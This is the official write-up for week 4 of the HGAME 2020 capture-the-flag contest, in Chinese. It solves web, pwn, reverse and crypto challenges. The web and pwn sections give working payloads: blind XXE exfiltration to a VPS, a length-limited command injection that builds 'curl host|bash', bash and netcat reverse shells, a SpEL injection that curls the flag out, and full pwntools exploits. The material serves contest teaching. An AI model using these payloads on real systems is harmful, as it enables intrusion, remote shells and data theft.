HGAME 2020 Week4 Official Writeup

Web

代打出题人服务中心

- 考点:
- 出题人：Annevi
- 分值：400

0x00 BlindXXE

抓包 发现站点通过XML与后端交换数据，因此考虑xxe漏洞。并且发现无回显，则考虑BlindXXE.
payload:

```
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM
"http://xxx.xxx.xxx.xxx/xxe.dtd">%remote;%int;%trick;]>
```

vps上:

```
<!ENTITY % payl SYSTEM 'php://filter/read=convert.base64-
encode/resource=/etc/hosts'>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.xxx.xxx.xxx:5555/?
p=%payl;'>">
```

vps上监听5555端口，可得读到的文件内容。

0x01 SSRF

读取`/etc/hosts`发现存在内网站点`http://172.20.0.76`因此设法访问内网站点,这里有一个tips:

> 当使用 libxml 读取文件内容的时候，文件不能过大，如果太大就会报错无法得到文件内容，因此需要使用 php过滤器的一个压缩的方法zlib.deflate

```
<!ENTITY % payl SYSTEM 'php://filter/zlib.deflate/convert.base64-
encode/resource=http://172.20.0.76/'>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.xxx.xxx.xxx:5555/?
p=%payl;'>">
```

解压:

```
php://filter/read=convert.base64-decode/zlib.inflate/resource=
```

得到内网站点内容。

```
 <?php
error_reporting(0);
highlight_file(__FILE__);

$sandbox = '/var/www/html/sandbox/'. md5("hgame2020" .
$_SERVER['REMOTE_ADDR']);;
@mkdir($sandbox);
@chdir($sandbox);

$content = @$_GET['v'];
if (isset($content)) {
    $cmd = substr($content,0,5);
    system($cmd);
}else if (isset($_GET['r'])) {
    system('rm -rf ./*');
}

/*   _____ _    _ ______ _      _       _____ ______ _______   _____ _______
_
  / ____| |  | |  ____| |    | |     / ____|  ____|__   __| |_   _|__   __| |
|
 | (___ | |__| | |__  | |    | |    | |  __| |__     | |      | |    | |    |
|
```

```
  \___ \|  __  |  __| | |    | |     | | |_ |  __|    | |      | |    | |    |
|
  ____) | |  | | |____| |____| |____ | |__| | |____   | |     _| |_   | |
|_|
 |_____/|_|  |_|______|______|______( )_____|______|  |_|    |_____|  |_|
(_)
                                     |/

*/
```

可以发现，代码中截取了我们传入的字符串`$content`的前五个字符，传给`system`函数执行命令，但我们读取flag超过五个字符，因此需要想办法绕过。

0x02 命令执行绕过

在linux中，一条命令可以通过符号`\`分割为多行不影响执行结果。如

```
annevi@ubuntu:~# cat test
ec\
ho \
hello!
annevi@ubuntu:~# sh test
hello!
```

因此我们可以利用这个特性，将超长的命令分割为多段来执行。

为了让服务器记住我们先前所输入的命令片段，我们可以利用重定向符`>` `>>`来在当前目录创建文件。

文件名即为我们所需的命令片段。

为了让创建的文件按照我们想要的顺序排列，可以使用`ls -t`使得文件按照创建时间先后排序。

而`ls -t>a`超长度限制，因此我们需要用`ls>_`来构造出`ls -t>a`

如下:

```
>ls\\
ls>_
>\ \\
>-t\\
>\>a
ls>>_
```

由于没有说flag在哪，因此需要反弹shell方便找flag的位置。

使用简单的bash反弹：

```
bash -i >& /dev/tcp/0.0.0.0/2333 0>&1
```

该语句用上述方法构造比较麻烦，因此可将上述语句放在服务器(0.0.0.0)上再通过:

```
curl 0.0.0.0|bash
```

即可成功反弹shell。

0x03 exp

```
import requests
import urllib.parse
import time

url_vps = "http://xxx.xxx.xx.xxx"
url_chal = "http://bdctr.hgame.day-day.work/submit.php"
url_lan = "http://172.21.0.76/?token=xxxx&v={}"
url_rm = "http://172.21.0.76/?token=xxxx&r"
url_lan_t = ''
payload_vps = """<!ENTITY % payl SYSTEM
'php://filter/zlib.deflate/convert.base64-encode/resource={}'>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.xxx.xxx.xxx/?
p=%payl;'>">
"""
payload_a = '<!DOCTYPE convert [ <!ENTITY % remote SYSTEM
"http://xxx.xxx.xxx.xxx/xxe.dtd">%remote;%int;%trick;]>'

def attack(payload_vps,payload):
    url_lan_t = url_lan.format(urllib.parse.quote(payload))
    data = {'a':payload_vps.format(url_lan_t)}
    print(data)
    requests.post(url_vps,data=data)
    time.sleep(0.5)
    requests.post(url_chal,data=payload_a)

def rm():
    data = {'a':payload_vps.format(url_rm)}
    requests.post(url_vps,data=data)
    time.sleep(0.5)
    requests.post(url_chal,data=payload_a)

rm()

# 将ls -t 写入文件_
cmd_list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>a",
    "ls>>_"
]
```

```
# curl 0.0.0.0|bash
cmd_list2=[
    ">bash",
    ">\|\\",
    ">0\\",
    ">0.\\",
    ">0.\\",
    ">0.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]

for i in cmd_list:
    attack(payload_vps,str(i))
    time.sleep(1)

for i in cmd_list2:
    attack(payload_vps,str(i))
    time.sleep(1)

attack(payload_vps,"sh _")
time.sleep(1)
attack(payload_vps,"sh a")
```

ezJava

- 考点：jolokia,spel,简单的java绕过
- 出题人：jqy
- 分值：400

先从/actuator/jolokia/list下获知rememberMe的加密函数encrypt，从/actuator/env下得知encrypt所需的前两个参数param1和param2.最后通过POST访问/actuator/jolokia并通过JSON格式传递payload加密获取rememberMe替换即可。注意在env下还注明了本题的黑名单列表，需要绕过。完整payload如下（payload形式不唯一,能用就行） jolokia的具体使用方法参阅官方文档，这里不

```
{
   "type":"EXEC",
   "mbean":"com.jqy.ezspel:Name=EncryptService",
   "operation":"encrypt",
   "arguments":["hgamehgamehgame{","spppelandjookiaa","#
{T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\
").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(ClassLoader).getSystemClassLoa
der().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\")
.invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\
"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl your_ip/?flag=`cat
flag`\"})}"]
}
```

sekiro

- 考点：javascript原型链污染
- 出题人：Kevin
- 分值：400

~~出题人终于把只狼通关了~~

看到`web/routes/index.js`中的merge函数，考虑js原型链污染

关于js原型链污染的原理，可以看这两个链接

- https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
- https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

通常在js代码中，如下的代码形式很常见

```
if (obj.xxx){
    ...
}
```

js原型链使得js实现了子类对父类的继承，在上述代码中，如果寻找不到obj对象中的xxx属性，程序会到obj对象的父类中继续寻找，也就是寻找`obj.__proto__`中是否含有xxx属性，并重复此过程，直到父类的`__proto__`为`null`

回到题目，在`utils/index.js`中就可以找到这样一处代码

```
if (sekiro.attackInfo.additionalEffect) {
    var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn
sekiro")
    sekiro = fn(sekiro)
}
```

如果可以污染到`sekiro.attackInfo.additionalEffect`，就可以实现任意代码执行 往上跟一下发现，`attackInfo`是在`this.attacks`中随机选取的

形如：

```
this.attacks = [
    //......,
    {
        "method": "普通攻击",
        "attack": 500,
        "additionalEffect": "sekiro.posture+=50",
        "solution": "格挡"
    },
    {
        "method": "下段攻击",
        "attack": 1000,
        "solution": "跳跃踩头"
    },
    //......
]
```

只要污染"基类"也就是`Object`对象，当随机出的attackInfo不含`additionalEffect`时，就会找到`Object.additionalEffect`，也就执行了注入的代码

payload：`{"solution":"1","__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process').exec('nc vps-ip port -e /bin/sh',function(){});"}}`

ps: 网上搜nodejs反弹shell的方法，大多数都是找到如下这一段，没法弹到shell

```
(function(){
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(port, "vps-ip", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
```

这一点其实离别歌的博客里也有提到 nodejs的文档中对`require`的描述是这样的:

> This variable may appear to be global but is not. See require().

`require`并非全局可访问的方法，在函数`Function`中执行时，上下文中并没有`require`，所以直接用这种函数反弹shell就会报错：`ReferenceError: require is not defined`，所以没法弹到shell

Re:Go

- 考点：Go 逆向
- 出题人：E99p1ant
- 分值：500

源码：https://github.com/wuhan005/HGAME2020_Week4_ReGo

通过 IDA 恢复 Golang 符号表

在 `(s *Service) UpdateProfile` 修改用户信息处，虽然只能修改密码，但其接受 JSON 绑定使用的均为 `User`。因此只需在修改用户信息处的 JSON 中加上 `"Name": "admin"`，即可修改用户名为 admin。

获取 flag 的页面，通过逆向，可以看到这里使用了 `github.com/xlzd/gotp` 这么一个包。这其实是个 OTP（One Time Password）验证。

我们需要知道 OTP 的 `secret`。可以找到为：`X5JMTFGT4FVJ34GV`。使用 Google Authenticator 或其他支持 OTP 的软件/App，或者也可以直接用这个包，得到当前时间下的 6 位密码，得到 flag。

Pwn

ROP_LEVEL5|Done

- 考点：32位ret2dl_resolve
- 出题人：Cosmos
- 分值：500

常规做法，网上教程很多，能理解延迟绑定时要用到的那些结构体就差不多了，官方exp用了Veritas写的一把梭脚本

```
#coding=utf8
from pwn import *
import time
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = int(sys.argv[1])
binary_name = 'ROP5'

if local:
  cn = process('./'+binary_name)
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
  #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
  cn = remote('47.103.214.163',20700)
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
```

```
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
ia = lambda   : cn.interactive()


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
  if local:
    gdb.attach(cn,a)
    if a == '':
      raw_input()
  else:
    pass



def ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1):
    jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
    relent = ELF_obj.dynamic_value_by_tag("DT_RELENT")
    symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
    syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
    strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
    versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
    plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr

    p_name = fake_stage+8-strtab
    len_bypass_version = 8-(len(func_name)+1)%0x8
    sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab

    if sym_addr_offset%0x10 != 0:
        if sym_addr_offset%0x10 == 8:
            len_bypass_version+=8
            sym_addr_offset = fake_stage+8+
(len(func_name)+1)+len_bypass_version-symtab
        else:
            error('something error!')

    fake_sym = sym_addr_offset/0x10

    while True:
        fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2))
        if fake_ndx != 0:
            fake_sym+=1
            len_bypass_version+=0x10
            continue
```

```
        else:
            break


    if do_slim:
        slim = len_bypass_version - len_bypass_version%8
        version = len_bypass_version%8

 resolve_data,resolve_call=ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fa
ke_stage+slim,0)
        return (resolve_data,resolve_call,fake_stage+slim)

    fake_r_info = fake_sym<<8|0x7
    reloc_offset=fake_stage-jmprel

    resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00'
    resolve_data += 'a'*len_bypass_version
    resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12)

    resolve_call = p32(plt0)+p32(reloc_offset)

    return (resolve_data,resolve_call)

p1ret = 0x080485db
p3ret = 0x080485d9

stage = bin.bss()

dl_data,dl_call,stage = ret2dl_resolve_x86(bin,'system',bin.bss()+0x200,stage)



pay = 'a'*0x44 + 'bbbb'
pay += p32(bin.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+24)
pay += dl_call
pay += p32(p1ret)+p32(stage+len(dl_data))

cn.sendline(pay)
sleep(1)
cn.send(dl_data+'$0 1>&0\x00')

cn.interactive()
```

Annevi_Note2|Done

- 考点：io_file相关花式leak
- 出题人：Cosmos
- 分值：300

修改stdout低两字节为stderr来leak，需要爆破，1/16概率

```
#coding=utf8
from pwn import *
import time
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = int(sys.argv[1])
binary_name = 'AN2'

if local:
  cn = process('./'+binary_name)
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
  #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
  cn = remote('47.103.214.163',20701)
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
ia = lambda   : cn.interactive()


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
  if local:
    gdb.attach(cn,a)
    if a == '':
      raw_input()
  else:
    pass

def sls(con):
  sl(con)
  sleep(0.05)


def add(sz,con='aa'):
  sls('1')
  sls(str(sz))
  sls(con)
```

```
def show(idx):
  sls('3')
  sls(str(idx))

def edit(idx,con):
  sls('4')
  sls(str(idx))
  sls(con)


def dele(idx):
  sls('2')
  sls(str(idx))


add(0x90)
add(0x90)
add(0x90)
add(0x90,'/bin/sh 1>&2')
dele(0)
add(0x90)

add(0x300)
pay=p64(0)+p64(0x91)+p64(0x6020e8-0x18)+p64(0x6020e8-
0x10)+'\x00'*0x70+p64(0x90)+p64(0xa0)
edit(1,pay)

dele(2)
pay2='\x00'*0x18+p64(0x6020a0)+p64(0x6020e0)
edit(1,pay2)
edit(1,'\x40\x25')
show(1)
ru('content:')
lbase=u64(cn.recv(6)+'\x00\x00')-libc.sym['_IO_2_1_stderr_']
success('lbase:'+hex(lbase))
edit(2,p64(lbase+libc.sym['__free_hook']))
edit(1,p64(lbase+libc.sym['_IO_2_1_stdout_'])+p64(0)+p64(lbase+libc.sym['_IO_2_
1_stdin_']))
edit(0,p64(lbase+libc.sym['system']))
dele(3)
ia()
```

Reverse

Secret

- 考点：
- 出题人：幼稚园
- 分值：400

相对综合的题，也没啥专门的考点

在main函数之前有一处反调试以及一个注册信号的函数，如果看到了的话main函数就好理解了。观察一下几个handle会发现做的是xtea的加密。实际上就是把加密的过程分成了几个步骤，赋值delta、key、明文，循环等等。然后子进程接收输入并向父进程发送信号，父进程执行对应的函数，完成加密和check

另外子进程的函数是从服务器上read下来的，这么做只是为了让这个函数不那么容易看到并且得先过反调试。看起来应该也会更好玩一些

easyVM

- 考点：vm
- 出题人：Y
- 分值：300

```
VM_X00_START,



    VM_PUSH_NUM,  //NUM1  push addr of input Str
    VM_POP_EAX,
    VM_PUSH_EAX,
    VM_PUSH_NUM,
    VM_ADD,
    VM_PUSH_EAX,

    VM_PUSH_NUM,
    VM_POP_EAX,//eax=1


    VM_CMP,

    VM_PUSH_NUM,
    VM_JZ,

    VM_POP_EBX,//backup
    VM_PUSH_EBX,
    VM_PUSH_EBX,
    VM_BYTE_MEM_GET,
    VM_PUSH_NUM,
    VM_XOR,
    VM_BYTE_MEM_SET,
    VM_PUSH_EBX,
    VM_PUSH_EAX,
```

```
    VM_ADD,
    VM_PUSH_NUM,
    VM_JMP,

//end
    VM_EXIT,
```

Crypto

CBCBC

- 考点：
- 出题人：Lurkrul
- 分值：150

感觉没啥好说的, 看得懂 CBC 的 POA 的话, 对比一下本题加密的流程, 不难发现需要翻转的 block 由倒数第二个变为倒数第三个, 主要是为了防止有些选手不加理解的拿了脚本就上来打

ToyCipher_Linear

- 考点：
- 出题人：Lurkrul
- 分值：175

rotation 并未改变 xor 的 bit 位置, 且 roundkeys 也由移位来生成

```
ToyCipher(0,key)^ToyCipher(plain,0) == ToyCipher(plain,key)
ToyCipher(ToyCipher(0,key)^cipher,0,'dec') == ToyCipher(cipher,key,'dec')
```

由于 rotation, xor 均可当作线性操作(这里主要就分配律,结合律), 密文可以分解为 `(plain各种移位相异或) 异或上 (key各种移位相异或)`, 根据异或的特性, `plain` 或 `key` 为 0 时可以得到另一部分.

~~当作一线性时不变系统, 零输入响应 ToyCipher(0,key), 零状态响应 ToyCipher(plain,0)~~

更一般的, 有

```
 ToyCipher(a, k1, 'enc/dec') ^ ToyCipher(b, k2, 'enc/dec') == ToyCipher(a^b,
k1^k2, 'enc/dec')
```